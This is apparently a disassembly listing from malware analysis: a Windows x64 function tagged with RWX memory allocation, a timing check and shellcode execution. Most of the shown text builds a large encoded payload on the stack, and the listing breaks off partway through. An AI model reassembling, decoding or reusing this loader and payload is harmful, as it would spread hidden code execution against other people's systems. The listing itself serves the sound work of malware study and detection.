Function at 0x14000a610
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create process on windows
Execute shellcode via indirect call
Get common file path
Terminate process

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x33f8]
mov eax, 0x34f8
call fcn.14000cb00
sub rsp, rax
movaps xmmword [rsp + 0x34e0], xmm6
mov rax, qword [0x1400731f0]
xor rax, rsp
mov qword [rbp + 0x33d0], rax
mov rsi, rcx
mov dword [rbp - 0x20], 0x376a5df
mov dword [rbp - 0x1c], 0xfd40c0f7
mov dword [rbp - 0x18], 0xbc7390e4
mov dword [rbp - 0x14], 0x926522d5
mov dword [rbp - 0x10], 0x69e23b0a
mov dword [rbp - 0xc], 0x73376619
mov dword [rbp - 8], 0x8059dd60
mov dword [rbp - 4], 0xb4c6a91f
mov dword [rbp], 0x2668a258
mov dword [rbp + 4], 0xa416a913
mov dword [rbp + 8], 0x181a17f1
mov dword [rbp + 0xc], 0xdad92d18
mov dword [rbp + 0x10], 0x143c4d92
mov dword [rbp + 0x14], 0x1c3c5592
mov dword [rbp + 0x18], 0x4e53db92
mov dword [rbp + 0x1c], 0xd99ce092
mov dword [rbp + 0x20], 0x944f0a6d
mov dword [rbp + 0x24], 0x4d921b6b
mov dword [rbp + 0x28], 0x1a93083c
mov dword [rbp + 0x2c], 0x5b581b91
mov dword [rbp + 0x30], 0x47ee6c57
mov dword [rbp + 0x34], 0xda46de92
mov dword [rbp + 0x38], 0x48f5924c
mov dword [rbp + 0x3c], 0x4e4f4a48
mov dword [rbp + 0x40], 0x174e9f71
mov dword [rbp + 0x44], 0x57917118
mov dword [rbp + 0x48], 0x2f11817
mov dword [rbp + 0x4c], 0x90181818
mov dword [rbp + 0x50], 0xe371e55c
mov dword [rbp + 0x54], 0x71182c92
mov dword [rbp + 0x58], 0x18175791
mov dword [rbp + 0x5c], 0x181810f1
mov dword [rbp + 0x60], 0xe15c9018
mov dword [rbp + 0x64], 0x1818acf0
mov dword [rbp + 0x68], 0xf5924c18
mov dword [rbp + 0x6c], 0x484e4f4a
mov dword [rbp + 0x70], 0x282fe67d
mov dword [rbp + 0x74], 0x41181818
mov dword [rbp + 0x78], 0x92145992
mov dword [rbp + 0x7c], 0xb921451
mov dword [rbp + 0x80], 0x73285892
mov dword [rbp + 0x84], 0x1064921a
mov dword [rbp + 0x88], 0x42f1494e
mov dword [rbp + 0x8c], 0x9c181818
mov dword [rbp + 0x90], 0x921c6dd9
mov dword [rbp + 0x94], 0x92fef2d3
mov dword [rbp + 0x98], 0x92490058
mov dword [rbp + 0x9c], 0xda1d2541
mov dword [rbp + 0xa0], 0x41614192
mov dword [rbp + 0xa4], 0x92c11d49
mov dword [rbp + 0xa8], 0x4a920452
mov dword [rbp + 0xac], 0x3c429238
mov dword [rbp + 0xb0], 0xc91dd11d
mov dword [rbp + 0xb4], 0x2a92c11d
mov dword [rbp + 0xb8], 0xe91d4941
mov dword [rbp + 0xbc], 0x6ce61b73
mov dword [rbp + 0xc0], 0x3df14f14
mov dword [rbp + 0xc4], 0x9c181818
mov dword [rbp + 0xc8], 0x9a106dd9
mov dword [rbp + 0xcc], 0xda9a1cdb
mov dword [rbp + 0xd0], 0x41faf21a
mov dword [rbp + 0xd4], 0x927fcb2d
mov dword [rbp + 0xd8], 0x1afbd80d
mov dword [rbp + 0xdc], 0x1b1dd31d
mov dword [rbp + 0xe0], 0x42474640
mov dword [rbp + 0xe4], 0xdb44fc92
mov dword [rbp + 0xe8], 0x924c1810
mov dword [rbp + 0xec], 0x4b4a48f5
mov dword [rbp + 0xf0], 0xc22dd02d
mov dword [rbp + 0xf4], 0x5c92cb2d
mov dword [rbp + 0xf8], 0x99089310
mov dword [rbp + 0xfc], 0xc31d79d3
mov dword [rbp + 0x100], 0x5c1dfac8
mov dword [rbp + 0x104], 0x9d109308
mov dword [rbp + 0x108], 0x2df7f9d0
mov dword [rbp + 0x10c], 0x145492d9
mov dword [rbp + 0x110], 0x1b6dc022
mov dword [rbp + 0x114], 0x40424359
mov dword [rbp + 0x118], 0xdb44fc92
mov dword [rbp + 0x11c], 0x5c921814
mov dword [rbp + 0x120], 0xe5549210
mov dword [rbp + 0x124], 0x10904746
mov dword [rbp + 0x128], 0x92145c92
mov dword [rbp + 0x12c], 0x9042e154
mov dword [rbp + 0x130], 0x4cdad010
mov dword [rbp + 0x134], 0xf598f592
mov dword [rbp + 0x138], 0x18181c10
mov dword [rbp + 0x13c], 0xc22d4f4a
mov dword [rbp + 0x140], 0x94cb2d4e
mov dword [rbp + 0x144], 0xe6e2e19c
mov dword [rbp + 0x148], 0x1b18a0e6
mov dword [rbp + 0x14c], 0x8901818
mov dword [rbp + 0x150], 0x1cd99a5b
mov dword [rbp + 0x154], 0xef65c822
mov dword [rbp + 0x158], 0xac94e62d
mov dword [rbp + 0x15c], 0xe6e6e2e1
mov dword [rbp + 0x160], 0xcb2dde92
mov dword [rbp + 0x164], 0x920c6cee
mov dword [rbp + 0x168], 0xaf09145c
mov dword [rbp + 0x16c], 0x1e1d1a1c
mov dword [rbp + 0x170], 0xc092da1d
mov dword [rbp + 0x174], 0x93e2ee80
mov dword [rbp + 0x178], 0x5c915e1e
mov dword [rbp + 0x17c], 0x92c392e6
mov dword [rbp + 0x180], 0xe2e1848d
mov dword [rbp + 0x184], 0xe90e6e6
mov dword [rbp + 0x188], 0x91cdf9a
mov dword [rbp + 0x18c], 0x94e64caf
mov dword [rbp + 0x190], 0xe2e1849d
mov dword [rbp + 0x194], 0xe022e6e6
mov dword [rbp + 0x198], 0xdd650890
mov dword [rbp + 0x19c], 0x180c7c9a
mov dword [rbp + 0x1a0], 0x1808649a
mov dword [rbp + 0x1a4], 0x5e94726f
mov dword [rbp + 0x1a8], 0x80e8921b
mov dword [rbp + 0x1ac], 0xe392e7ee
mov dword [rbp + 0x1b0], 0xe1a49d92
mov dword [rbp + 0x1b4], 0x94e6e6e2
mov dword [rbp + 0x1b8], 0xe2e1a4ad
mov dword [rbp + 0x1bc], 0xda1de6e6
mov dword [rbp + 0x1c0], 0xee80c092
mov dword [rbp + 0x1c4], 0x911e93e2
mov dword [rbp + 0x1c8], 0xc392e65c
mov dword [rbp + 0x1cc], 0xe1848d92
mov dword [rbp + 0x1d0], 0x90e6e6e2
mov dword [rbp + 0x1d4], 0x4caf090e
mov dword [rbp + 0x1d8], 0x849d94e6
mov dword [rbp + 0x1dc], 0xe6e6e2e1
mov dword [rbp + 0x1e0], 0x90144c90
mov dword [rbp + 0x1e4], 0xc5c9208
mov dword [rbp + 0x1e8], 0x1d104c92
mov dword [rbp + 0x1ec], 0xe15c90db
mov dword [rbp + 0x1f0], 0x5c1d1e92
mov dword [rbp + 0x1f4], 0x80e89214
mov dword [rbp + 0x1f8], 0x6c92e7ee
mov dword [rbp + 0x1fc], 0x8c9d93e1
mov dword [rbp + 0x200], 0xe6e6e2e1
mov dword [rbp + 0x204], 0x5ce61e28
mov dword [rbp + 0x208], 0xc5c920c
mov dword [rbp + 0x20c], 0x6b085c22
mov dword [rbp + 0x210], 0x105c928c
mov dword [rbp + 0x214], 0xd0424746
mov dword [rbp + 0x218], 0x924cdada
mov dword [rbp + 0x21c], 0x4049a1f5
mov dword [rbp + 0x220], 0x48f11818
mov dword [rbp + 0x224], 0x4a181810
mov dword [rbp + 0x228], 0xf3f14e4f
mov dword [rbp + 0x22c], 0x2de6e6e6
mov dword [rbp + 0x230], 0xc55cdfc2
mov dword [rbp + 0x234], 0xc45cdf72
mov dword [rbp + 0x238], 0xc75cdf7c
mov dword [rbp + 0x23c], 0xc65cdf6b
mov dword [rbp + 0x240], 0xf95cdf77
mov dword [rbp + 0x244], 0xf85cdf7c
mov dword [rbp + 0x248], 0xfb5cdf75
mov dword [rbp + 0x24c], 0xfa5cdf2d
mov dword [rbp + 0x250], 0xfd5cdf2a
mov dword [rbp + 0x254], 0xfc5cdf36
mov dword [rbp + 0x258], 0xff5cdf7d
mov dword [rbp + 0x25c], 0xfe5cdf75
mov dword [rbp + 0x260], 0xf1449175
mov dword [rbp + 0x264], 0xe64d9cdf
mov dword [rbp + 0x268], 0xdf5ee6e6
mov dword [rbp + 0x26c], 0xe6e64c9c
mov dword [rbp + 0x270], 0x9cdf7ce6
mov dword [rbp + 0x274], 0xe6e6e64f
mov dword [rbp + 0x278], 0x4e9cdf6d
mov dword [rbp + 0x27c], 0x54e6e6e6
mov dword [rbp + 0x280], 0xe6419cdf
mov dword [rbp + 0x284], 0xdf76e6e6
mov dword [rbp + 0x288], 0xe6e6409c
mov dword [rbp + 0x28c], 0x9cdf7de6
mov dword [rbp + 0x290], 0xe6e6e643
mov dword [rbp + 0x294], 0x429cdf6c
mov dword [rbp + 0x298], 0x75e6e6e6
mov dword [rbp + 0x29c], 0xe6459cdf
mov dword [rbp + 0x2a0], 0xdf7ce6e6
mov dword [rbp + 0x2a4], 0xe6e6449c
mov dword [rbp + 0x2a8], 0x9cdf5fe6
mov dword [rbp + 0x2ac], 0xe6e6e647
mov dword [rbp + 0x2b0], 0x469cdf70
mov dword [rbp + 0x2b4], 0x75e6e6e6
mov dword [rbp + 0x2b8], 0xe6799cdf
mov dword [rbp + 0x2bc], 0xdf7ce6e6
mov dword [rbp + 0x2c0], 0xe6e6789c
mov dword [rbp + 0x2c4], 0x9cdf57e6
mov dword [rbp + 0x2c8], 0xe6e6e67b
mov dword [rbp + 0x2cc], 0x7a9cdf78
mov dword [rbp + 0x2d0], 0x74e6e6e6
mov dword [rbp + 0x2d4], 0xe67d9cdf
mov dword [rbp + 0x2d8], 0xdf7ce6e6
mov dword [rbp + 0x2dc], 0xe6e67c9c
mov dword [rbp + 0x2e0], 0x84914ee6
mov dword [rbp + 0x2e4], 0xe6e6e67f
mov dword [rbp + 0x2e8], 0x5aa95cdf
mov dword [rbp + 0x2ec], 0x6ba85cdf
mov dword [rbp + 0x2f0], 0x7cab5cdf
mov dword [rbp + 0x2f4], 0x78aa5cdf
mov dword [rbp + 0x2f8], 0x6dad5cdf
mov dword [rbp + 0x2fc], 0x7cac5cdf
mov dword [rbp + 0x300], 0x5faf5cdf
mov dword [rbp + 0x304], 0x70ae5cdf
mov dword [rbp + 0x308], 0x75a15cdf
mov dword [rbp + 0x30c], 0x7ca05cdf
mov dword [rbp + 0x310], 0x4ea35cdf
mov dword [rbp + 0x314], 0xdfa24491
mov dword [rbp + 0x318], 0xe6e6659c
mov dword [rbp + 0x31c], 0x9cdf4fe6
mov dword [rbp + 0x320], 0xe6e6e664
mov dword [rbp + 0x324], 0x679cdf70
mov dword [rbp + 0x328], 0x6be6e6e6
mov dword [rbp + 0x32c], 0xe6669cdf
mov dword [rbp + 0x330], 0xdf6de6e6
mov dword [rbp + 0x334], 0xdf6c995c
mov dword [rbp + 0x338], 0xdf78985c
mov dword [rbp + 0x33c], 0xdf759b5c
mov dword [rbp + 0x340], 0xdf589a5c
mov dword [rbp + 0x344], 0xdf759d5c
mov dword [rbp + 0x348], 0xdf759c5c
mov dword [rbp + 0x34c], 0xdf769f5c
mov dword [rbp + 0x350], 0x917a9e5c
mov dword [rbp + 0x354], 0x5cdf9144
mov dword [rbp + 0x358], 0x5cdf5e95
mov dword [rbp + 0x35c], 0x5cdf7c94
mov dword [rbp + 0x360], 0x5cdf6d97
mov dword [rbp + 0x364], 0x5cdf5f96
mov dword [rbp + 0x368], 0x5cdf7089
mov dword [rbp + 0x36c], 0x5cdf7588
mov dword [rbp + 0x370], 0x5cdf7c8b
mov dword [rbp + 0x374], 0x5cdf4a8a
mov dword [rbp + 0x378], 0x5cdf708d
mov dword [rbp + 0x37c], 0x5cdf638c
mov dword [rbp + 0x380], 0x44917c8f
mov dword [rbp + 0x384], 0xd15cdf8e
mov dword [rbp + 0x388], 0xd05cdf4b
mov dword [rbp + 0x38c], 0xd35cdf7c
mov dword [rbp + 0x390], 0xd25cdf78
mov dword [rbp + 0x394], 0xd55cdf7d
mov dword [rbp + 0x398], 0xd45cdf5f
mov dword [rbp + 0x39c], 0xd75cdf70
mov dword [rbp + 0x3a0], 0xd65cdf75
mov dword [rbp + 0x3a4], 0xc944917c
mov dword [rbp + 0x3a8], 0x5abd5cdf
mov dword [rbp + 0x3ac], 0x75bc5cdf
mov dword [rbp + 0x3b0], 0x76bf5cdf
mov dword [rbp + 0x3b4], 0x6abe5cdf
mov dword [rbp + 0x3b8], 0x7cb15cdf
mov dword [rbp + 0x3bc], 0x51b05cdf
mov dword [rbp + 0x3c0], 0x78b35cdf
mov dword [rbp + 0x3c4], 0x77b25cdf
mov dword [rbp + 0x3c8], 0x7db55cdf
mov dword [rbp + 0x3cc], 0x75b45cdf
mov dword [rbp + 0x3d0], 0x7cb75cdf
mov dword [rbp + 0x3d4], 0xdfb64491
mov dword [rbp + 0x3d8], 0xe6e6259c
mov dword [rbp + 0x3dc], 0x9cdf4ae6
mov dword [rbp + 0x3e0], 0xe6e6e624
mov dword [rbp + 0x3e4], 0x279cdf51
mov dword [rbp + 0x3e8], 0x5ee6e6e6
mov dword [rbp + 0x3ec], 0xe6269cdf
mov dword [rbp + 0x3f0], 0xdf7ce6e6
mov dword [rbp + 0x3f4], 0xe6e6599c
mov dword [rbp + 0x3f8], 0x9cdf6de6
mov dword [rbp + 0x3fc], 0xe6e6e658
mov dword [rbp + 0x400], 0x5b9cdf4a
mov dword [rbp + 0x404], 0x69e6e6e6
mov dword [rbp + 0x408], 0xe65a9cdf
mov dword [rbp + 0x40c], 0xdf7ce6e6
mov dword [rbp + 0x410], 0xe6e65d9c
mov dword [rbp + 0x414], 0x9cdf7ae6
mov dword [rbp + 0x418], 0xe6e6e65c
mov dword [rbp + 0x41c], 0x5f9cdf70
mov dword [rbp + 0x420], 0x78e6e6e6
mov dword [rbp + 0x424], 0xe65e9cdf
mov dword [rbp + 0x428], 0xdf75e6e6
mov dword [rbp + 0x42c], 0xe6e6519c
mov dword [rbp + 0x430], 0x9cdf5fe6
mov dword [rbp + 0x434], 0xe6e6e650
mov dword [rbp + 0x438], 0x539cdf76
mov dword [rbp + 0x43c], 0x75e6e6e6
mov dword [rbp + 0x440], 0xe6529cdf
mov dword [rbp + 0x444], 0xdf7de6e6
mov dword [rbp + 0x448], 0xe6e6559c
mov dword [rbp + 0x44c], 0x9cdf7ce6
mov dword [rbp + 0x450], 0xe6e6e654
mov dword [rbp + 0x454], 0x579cdf6b
mov dword [rbp + 0x458], 0x49e6e6e6
mov dword [rbp + 0x45c], 0xe6569cdf
mov dword [rbp + 0x460], 0xdf78e6e6
mov dword [rbp + 0x464], 0xe6e6499c
mov dword [rbp + 0x468], 0x9cdf6de6
mov dword [rbp + 0x46c], 0xe6e6e648
mov dword [rbp + 0x470], 0x4b9cdf71
mov dword [rbp + 0x474], 0x4ee6e6e6
mov dword [rbp + 0x478], 0xe64a8491
mov dword [rbp + 0x47c], 0x5cdfe6e6
mov dword [rbp + 0x480], 0x5cdf6a81
mov dword [rbp + 0x484], 0x5cdf7180
mov dword [rbp + 0x488], 0x5cdf7c83
mov dword [rbp + 0x48c], 0x5cdf7582
mov dword [rbp + 0x490], 0x5cdf7585
mov dword [rbp + 0x494], 0x5cdf2d84
mov dword [rbp + 0x498], 0x5cdf2a87
mov dword [rbp + 0x49c], 0x5cdf3686
mov dword [rbp + 0x4a0], 0x5cdf7db9
mov dword [rbp + 0x4a4], 0x5cdf75b8
mov dword [rbp + 0x4a8], 0x449175bb
mov dword [rbp + 0x4ac], 0xa55cdfba
mov dword [rbp + 0x4b0], 0xa45cdf5a
mov dword [rbp + 0x4b4], 0xa75cdf76
mov dword [rbp + 0x4b8], 0xa65cdf69
mov dword [rbp + 0x4bc], 0xd95cdf60
mov dword [rbp + 0x4c0], 0xd85cdf5f
mov dword [rbp + 0x4c4], 0xdb5cdf70
mov dword [rbp + 0x4c8], 0xda5cdf75
mov dword [rbp + 0x4cc], 0xdd5cdf7c
mov dword [rbp + 0x4d0], 0xdc44914e
mov dword [rbp + 0x4d4], 0xe6719cdf
mov dword [rbp + 0x4d8], 0xdf4ae6e6
mov dword [rbp + 0x4dc], 0xe6e6709c
mov dword [rbp + 0x4e0], 0x9cdf7ce6
mov dword [rbp + 0x4e4], 0xe6e6e673
mov dword [rbp + 0x4e8], 0x729cdf6d
mov dword [rbp + 0x4ec], 0x5fe6e6e6
mov dword [rbp + 0x4f0], 0xe6759cdf
mov dword [rbp + 0x4f4], 0xdf70e6e6
mov dword [rbp + 0x4f8], 0xe6e6749c
mov dword [rbp + 0x4fc], 0x9cdf75e6
mov dword [rbp + 0x500], 0xe6e6e677
mov dword [rbp + 0x504], 0x769cdf7c
mov dword [rbp + 0x508], 0x58e6e6e6
mov dword [rbp + 0x50c], 0xe6699cdf
mov dword [rbp + 0x510], 0xdf6de6e6
mov dword [rbp + 0x514], 0xe6e6689c
mov dword [rbp + 0x518], 0x9cdf6de6
mov dword [rbp + 0x51c], 0xe6e6e66b
mov dword [rbp + 0x520], 0x6a9cdf6b
mov dword [rbp + 0x524], 0x70e6e6e6
mov dword [rbp + 0x528], 0xe66d9cdf
mov dword [rbp + 0x52c], 0xdf7be6e6
mov dword [rbp + 0x530], 0xe6e66c9c
mov dword [rbp + 0x534], 0x9cdf6ce6
mov dword [rbp + 0x538], 0xe6e6e66f
mov dword [rbp + 0x53c], 0x6e9cdf6d
mov dword [rbp + 0x540], 0x7ce6e6e6
mov dword [rbp + 0x544], 0xe6619cdf
mov dword [rbp + 0x548], 0xdf6ae6e6
mov dword [rbp + 0x54c], 0xe6e6609c
mov dword [rbp + 0x550], 0x84914ee6
mov dword [rbp + 0x554], 0xe6e6e663
mov dword [rbp + 0x558], 0x49e15c94
mov dword [rbp + 0x55c], 0x49ed5c94
mov dword [rbp + 0x560], 0xe6e3caf1
mov dword [rbp + 0x564], 0x9c9440e6
mov dword [rbp + 0x568], 0xe6e6e64d
mov dword [rbp + 0x56c], 0x5c944940
mov dword [rbp + 0x570], 0x4ce649c5
mov dword [rbp + 0x574], 0x4ce649ed
mov dword [rbp + 0x578], 0x94e992e1
mov dword [rbp + 0x57c], 0x9449a95c
mov dword [rbp + 0x580], 0xe649c55c
mov dword [rbp + 0x584], 0xe649ed4c
mov dword [rbp + 0x588], 0x5c90e14c
mov dword [rbp + 0x58c], 0x659c94c1
mov dword [rbp + 0x590], 0x49e6e6e6
mov dword [rbp + 0x594], 0x49c55c94
mov dword [rbp + 0x598], 0x49ed4ce6
mov dword [rbp + 0x59c], 0x90e14ce6
mov dword [rbp + 0x5a0], 0xe6e6289c
mov dword [rbp + 0x5a4], 0x955c94e6
mov dword [rbp + 0x5a8], 0xc55c9449
mov dword [rbp + 0x5ac], 0xed4ce649
mov dword [rbp + 0x5b0], 0xe14ce649
mov dword [rbp + 0x5b4], 0x94f55c90
mov dword [rbp + 0x5b8], 0x9449d15c
mov dword [rbp + 0x5bc], 0xe649c55c
mov dword [rbp + 0x5c0], 0xe649ed4c
mov dword [rbp + 0x5c4], 0x9c90e14c
mov dword [rbp + 0x5c8], 0xe6e6e620
mov dword [rbp + 0x5cc], 0x49bd5c94
mov dword [rbp + 0x5d0], 0x49c55c94
mov dword [rbp + 0x5d4], 0x49ed4ce6
mov dword [rbp + 0x5d8], 0x90e14ce6
mov dword [rbp + 0x5dc], 0xe6e62c9c
mov dword [rbp + 0x5e0], 0x259c94e6
mov dword [rbp + 0x5e4], 0x49e6e6e6
mov dword [rbp + 0x5e8], 0x49815c94
mov dword [rbp + 0x5ec], 0x49ed4ce6
mov dword [rbp + 0x5f0], 0x90e14ce6
mov dword [rbp + 0x5f4], 0x5c94cd5c
mov dword [rbp + 0x5f8], 0x5c9449a5
mov dword [rbp + 0x5fc], 0x4ce649c5
mov dword [rbp + 0x600], 0x4ce649ed
mov dword [rbp + 0x604], 0xe95c90e1
mov dword [rbp + 0x608], 0xe6719c94
mov dword [rbp + 0x60c], 0x9449e6e6
mov dword [rbp + 0x610], 0xe649c55c
mov dword [rbp + 0x614], 0xe649ed4c
mov dword [rbp + 0x618], 0x1ca6e14c
mov dword [rbp + 0x61c], 0x9018181b
mov dword [rbp + 0x620], 0x944ee55c
mov dword [rbp + 0x624], 0xe6efc19c
mov dword [rbp + 0x628], 0xe64a49e6
mov dword [rbp + 0x62c], 0xe99c94cf
mov dword [rbp + 0x630], 0x4ee6e6e5
mov dword [rbp + 0x634], 0xcfe64a49
mov dword [rbp + 0x638], 0xe5e99c94
mov dword [rbp + 0x63c], 0xf149e6e6
mov dword [rbp + 0x640], 0x18181c10
mov dword [rbp + 0x644], 0x9dde7f40
mov dword [rbp + 0x648], 0xe6e5f75c
mov dword [rbp + 0x64c], 0x4a1846e6
mov dword [rbp + 0x650], 0xe3f19c94
mov dword [rbp + 0x654], 0x473e6e6
mov dword [rbp + 0x658], 0xde7f4a49
mov dword [rbp + 0x65c], 0xe6e6049c
mov dword [rbp + 0x660], 0x7f1836e6
mov dword [rbp + 0x664], 0xe6069cde
mov dword [rbp + 0x668], 0x184de6e6
mov dword [rbp + 0x66c], 0x389cde7f
mov dword [rbp + 0x670], 0x54e6e6e6
mov dword [rbp + 0x674], 0x9cde7f18
mov dword [rbp + 0x678], 0xe6e6e63a
mov dword [rbp + 0x67c], 0x907f1849
mov dword [rbp + 0x680], 0xe6e63c84
mov dword [rbp + 0x684], 0xcd4ce6e6
mov dword [rbp + 0x688], 0xe6149c94
mov dword [rbp + 0x68c], 0xde7fe6e6
mov dword [rbp + 0x690], 0xe6e6149c
mov dword [rbp + 0x694], 0x491845e6
mov dword [rbp + 0x698], 0xe3f19c94
mov dword [rbp + 0x69c], 0x7f49e6e6
mov dword [rbp + 0x6a0], 0xe6169cde
mov dword [rbp + 0x6a4], 0x185ae6e6
mov dword [rbp + 0x6a8], 0x89cde7f
mov dword [rbp + 0x6ac], 0x4ae6e6e6
mov dword [rbp + 0x6b0], 0x9cde7f18
mov dword [rbp + 0x6b4], 0xe6e6e60a
mov dword [rbp + 0x6b8], 0xde7f1850
mov dword [rbp + 0x6bc], 0xe6e60c9c
mov dword [rbp + 0x6c0], 0x7f185de6
mov dword [rbp + 0x6c4], 0xe60e9cde
mov dword [rbp + 0x6c8], 0x1855e6e6
mov dword [rbp + 0x6cc], 0x9cde7f
mov dword [rbp + 0x6d0], 0x46e6e6e6
mov dword [rbp + 0x6d4], 0x84907f18
mov dword [rbp + 0x6d8], 0xe6e6e602
mov dword [rbp + 0x6dc], 0x349cde7f
mov dword [rbp + 0x6e0], 0x41e6e6e6
mov dword [rbp + 0x6e4], 0x84907f18
mov dword [rbp + 0x6e8], 0xe6e6e636
mov dword [rbp + 0x6ec], 0x181d14f1
mov dword [rbp + 0x6f0], 0xf19c9418
mov dword [rbp + 0x6f4], 0x49e6e6e3
mov dword [rbp + 0x6f8], 0xe1f99c94
mov dword [rbp + 0x6fc], 0xf149e6e6
mov dword [rbp + 0x700], 0x18181d3d
mov dword [rbp + 0x704], 0xe6349c94
mov dword [rbp + 0x708], 0x9449e6e6
mov dword [rbp + 0x70c], 0xe6e1f99c
mov dword [rbp + 0x710], 0xfff149e6
mov dword [rbp + 0x714], 0x9a18181a
mov dword [rbp + 0x718], 0x9c9400dd
mov dword [rbp + 0x71c], 0xe6e6edc9
mov dword [rbp + 0x720], 0x4911734a
mov dword [rbp + 0x724], 0xcd4ce64a
mov dword [rbp + 0x728], 0xe6049c94
mov dword [rbp + 0x72c], 0x9449e6e6
mov dword [rbp + 0x730], 0xe6efc19c
mov dword [rbp + 0x734], 0x98f149e6
mov dword [rbp + 0x738], 0x4018181a
mov dword [rbp + 0x73c], 0x6d40d99c
mov dword [rbp + 0x740], 0xf19c9450
mov dword [rbp + 0x744], 0x71e6e6e3
mov dword [rbp + 0x748], 0x18181899
mov dword [rbp + 0x74c], 0xe54ce649
mov dword [rbp + 0x750], 0xe3f19c94
mov dword [rbp + 0x754], 0x494ae6e6
mov dword [rbp + 0x758], 0xe5e99c94
mov dword [rbp + 0x75c], 0xe649e6e6
mov dword [rbp + 0x760], 0x9c94e94c
mov dword [rbp + 0x764], 0xe6e6e1f9
mov dword [rbp + 0x768], 0x9c94494a
mov dword [rbp + 0x76c], 0xe6e6e5e9
mov dword [rbp + 0x770], 0xe94ce649
mov dword [rbp + 0x774], 0xe3f19c94
mov dword [rbp + 0x778], 0x1e73e6e6
mov dword [rbp + 0x77c], 0xe54ce649
mov dword [rbp + 0x780], 0x9c941e73
mov dword [rbp + 0x784], 0xe6e6e1f9
mov dword [rbp + 0x788], 0x9c945bf2
mov dword [rbp + 0x78c], 0xe6e6edc9
mov dword [rbp + 0x790], 0xc19c9449
mov dword [rbp + 0x794], 0x49e6e6ef
mov dword [rbp + 0x798], 0x181a39f1
mov dword [rbp + 0x79c], 0xd99c4018
mov dword [rbp + 0x7a0], 0x94376c40
mov dword [rbp + 0x7a4], 0xe6e5e99c
mov dword [rbp + 0x7a8], 0x189971e6
mov dword [rbp + 0x7ac], 0xe6491818
mov dword [rbp + 0x7b0], 0x9c94e54c
mov dword [rbp + 0x7b4], 0xe6e6e5e9
mov dword [rbp + 0x7b8], 0x9c94494a
mov dword [rbp + 0x7bc], 0xe6e6e1f9
mov dword [rbp + 0x7c0], 0xe94ce649
mov dword [rbp + 0x7c4], 0x9c941e73
mov dword [rbp + 0x7c8], 0xe6e6e5e9
mov dword [rbp + 0x7cc], 0xe54ce649
mov dword [rbp + 0x7d0], 0x1d734a4a
mov dword [rbp + 0x7d4], 0x1818a64a
mov dword [rbp + 0x7d8], 0x1b739918
mov dword [rbp + 0x7dc], 0xefc19c94
mov dword [rbp + 0x7e0], 0x494ee6e6
mov dword [rbp + 0x7e4], 0x4ac14ce6
mov dword [rbp + 0x7e8], 0xcd5c9049
mov dword [rbp + 0x7ec], 0x4af54ce6
mov dword [rbp + 0x7f0], 0x901d734a
mov dword [rbp + 0x7f4], 0x734ae55c
mov dword [rbp + 0x7f8], 0xe99c941b
mov dword [rbp + 0x7fc], 0x4ee6e6e5
mov dword [rbp + 0x800], 0xc14ce649
mov dword [rbp + 0x804], 0x90e6e19a
mov dword [rbp + 0x808], 0x106de95c
mov dword [rbp + 0x80c], 0x4ce6494a
mov dword [rbp + 0x810], 0xe55c1bf5
mov dword [rbp + 0x814], 0x1d734a4a
mov dword [rbp + 0x818], 0x941b734a
mov dword [rbp + 0x81c], 0xe6e3f19c
mov dword [rbp + 0x820], 0xe6494ee6
mov dword [rbp + 0x824], 0xe19ac14c
mov dword [rbp + 0x828], 0xc15c90e6
mov dword [rbp + 0x82c], 0x494a106d
mov dword [rbp + 0x830], 0x1bf54ce6
mov dword [rbp + 0x834], 0x5c92e55c
mov dword [rbp + 0x838], 0x715973e5
mov dword [rbp + 0x83c], 0x18182818
mov dword [rbp + 0x840], 0xc8991c94
mov dword [rbp + 0x844], 0xe64a49f9
mov dword [rbp + 0x848], 0xe6e6288c
mov dword [rbp + 0x84c], 0xcd6492e6
mov dword [rbp + 0x850], 0x9c94e992
mov dword [rbp + 0x854], 0xe6e6e630
mov dword [rbp + 0x858], 0x4e4a494a
mov dword [rbp + 0x85c], 0x49f54ce6
mov dword [rbp + 0x860], 0x8ce64e4f
mov dword [rbp + 0x864], 0xe6e6e620
mov dword [rbp + 0x868], 0x2c8ce64e
mov dword [rbp + 0x86c], 0x9ae6e6e6
mov dword [rbp + 0x870], 0x6de6e964
mov dword [rbp + 0x874], 0x309c9432
mov dword [rbp + 0x878], 0x4ae6e6e6
mov dword [rbp + 0x87c], 0x6ce64a49
mov dword [rbp + 0x880], 0xf54ce6e9
mov dword [rbp + 0x884], 0xe64e4a49
mov dword [rbp + 0x888], 0xdf1df54c
mov dword [rbp + 0x88c], 0xe96ce649
mov dword [rbp + 0x890], 0xe6208ce6
mov dword [rbp + 0x894], 0x6ce6e6e6
mov dword [rbp + 0x898], 0x2c8ce6e9
mov dword [rbp + 0x89c], 0x92e6e6e6
mov dword [rbp + 0x8a0], 0xe69ac164
mov dword [rbp + 0x8a4], 0x94336de6
mov dword [rbp + 0x8a8], 0xe6e6309c
mov dword [rbp + 0x8ac], 0x4a494ae6
mov dword [rbp + 0x8b0], 0xf54ce64e
mov dword [rbp + 0x8b4], 0xe64e4a49
mov dword [rbp + 0x8b8], 0x5492f54c
mov dword [rbp + 0x8bc], 0x35d71de5
mov dword [rbp + 0x8c0], 0xe64e48d1
mov dword [rbp + 0x8c4], 0xe6e6208c
mov dword [rbp + 0x8c8], 0x8ce64ee6
mov dword [rbp + 0x8cc], 0xe6e6e62c
mov dword [rbp + 0x8d0], 0x180d9ea0
mov dword [rbp + 0x8d4], 0x94d92d18
mov dword [rbp + 0x8d8], 0xe6bfa8a4
mov dword [rbp + 0x8dc], 0xa98491e6
mov dword [rbp + 0x8e0], 0xeae6e6bf
mov dword [rbp + 0x8e4], 0xb3b27fb2
mov dword [rbp + 0x8e8], 0xa494d92d
mov dword [rbp + 0x8ec], 0xe6e6e7e0
mov dword [rbp + 0x8f0], 0xe7e18491
mov dword [rbp + 0x8f4], 0xb2b2e6e6
mov dword [rbp + 0x8f8], 0xb27fb2b2
mov dword [rbp + 0x8fc], 0x23d92db3
mov dword [rbp + 0x900], 0x766fe544
mov dword [rbp + 0x904], 0x2814af09
mov dword [rbp + 0x908], 0x284daf09
mov dword [rbp + 0x90c], 0xe560941a
mov dword [rbp + 0x910], 0x3c6cce22
mov dword [rbp + 0x914], 0x284daf09
mov dword [rbp + 0x918], 0xe660941c
mov dword [rbp + 0x91c], 0x6cce22
mov dword [rbp + 0x920], 0x284daf09
mov dword [rbp + 0x924], 0x1a60941e
mov dword [rbp + 0x928], 0x146cce22
mov dword [rbp + 0x92c], 0x284daf09
mov dword [rbp + 0x930], 0x1dd89a10
